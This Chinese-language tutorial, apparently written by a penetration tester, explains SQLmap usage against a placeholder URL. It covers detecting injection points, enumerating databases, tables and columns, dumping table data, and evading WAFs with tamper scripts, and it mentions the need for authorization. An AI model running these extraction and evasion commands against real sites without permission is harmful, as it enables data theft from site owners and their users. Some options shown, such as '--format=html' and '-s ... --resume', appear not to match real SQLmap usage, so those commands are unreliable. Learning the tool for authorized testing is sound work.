1. SQLmap工具概述

SQLmap是一款开源的自动化SQL注入工具，由Python语言编写，主要用于检测和利用Web应用程序中的SQL注入漏洞。作为渗透测试人员和安全研究员的必备工具，它能够自动识别和利用多种SQL注入类型，包括布尔盲注、时间盲注、错误注入、联合查询注入等。

我第一次接触SQLmap是在2015年的一次网站安全评估项目中。当时手动测试一个表单的注入点花了近两小时，而使用SQLmap仅用5分钟就确认了注入漏洞并获取了数据库信息。这个经历让我深刻认识到自动化工具在安全测试中的价值。

2. SQLmap基础指令详解

2.1 基本扫描指令

最基础的扫描指令只需要指定目标URL：

sqlmap -u "http://example.com/page.php?id=1"

这个指令会让SQLmap自动：

1. 检测URL参数是否存在注入点
2. 识别后端数据库类型
3. 测试可用的注入技术

实际使用中我通常会添加--batch参数跳过交互确认：

sqlmap -u "http://example.com/page.php?id=1" --batch

注意：在正式环境中使用前，务必确保已获得目标系统的合法测试授权。

2.2 数据库信息获取

获取数据库基本信息：

sqlmap -u "http://example.com/page.php?id=1" --dbs

这个指令会列出所有可访问的数据库。在我的测试经验中，MySQL通常会显示information_schema、mysql等系统数据库。

获取指定数据库的表：

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

获取表结构：

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns

2.3 数据提取指令

导出整张表数据：

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

这个指令会分两步执行：

1. 先获取表结构
2. 然后逐条提取数据

对于大型表，我通常会添加--start和--stop参数分批获取：

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump --start 1 --stop 100

3. 实用参数组合

3.1 提高效率的参数

--threads参数可以设置并发线程数（默认为1）：

sqlmap -u "http://example.com/page.php?id=1" --threads 5

但要注意，过高的线程数可能触发目标系统的防护机制。根据我的经验，3-5个线程是比较安全的选择。

--level和--risk参数控制测试深度：

sqlmap -u "http://example.com/page.php?id=1" --level 3 --risk 2

• level范围1-5，默认1
• risk范围1-3，默认1

3.2 绕过防护的参数

当遇到WAF防护时，可以尝试：

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment

SQLmap提供了50多种tamper脚本，常用的还有：

• between
• randomcase
• charunicodeencode

在我的测试中，组合使用多个tamper效果更好：

sqlmap -u "http://example.com/page.php?id=1" --tamper="space2comment,between"

4. 实战经验与技巧

4.1 保存与恢复会话

使用-s参数保存会话：

sqlmap -u "http://example.com/page.php?id=1" -s session.sqlite

恢复会话：

sqlmap -s session.sqlite --resume

这个功能在长时间测试或网络不稳定时特别有用。我曾经在一次测试中因为网络中断丢失了3小时的工作进度，之后养成了定期保存会话的习惯。

4.2 结果输出格式

SQLmap支持多种输出格式：

sqlmap -u "http://example.com/page.php?id=1" --output-dir=/tmp/scan_results

生成HTML报告：

sqlmap -u "http://example.com/page.php?id=1" --output-dir=/tmp/scan_results --format=html

5. 常见问题解决

5.1 连接超时问题

当遇到连接超时时，可以调整：

sqlmap -u "http://example.com/page.php?id=1" --timeout=30 --retries=3

• --timeout设置超时秒数（默认30）
• --retries设置重试次数（默认3）

5.2 代理设置

通过代理进行测试：

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

在Burp Suite等工具配合测试时，这个功能非常实用。我通常会先通过Burp拦截请求，确认注入点后再用SQLmap深入测试。

5.3 结果验证技巧

有时SQLmap会报告误报，我习惯用以下方法验证：

1. 手动测试可疑参数
2. 对比不同注入技术的结果
3. 检查服务器响应时间变化

特别是对于时间盲注，建议多次验证以确保准确性。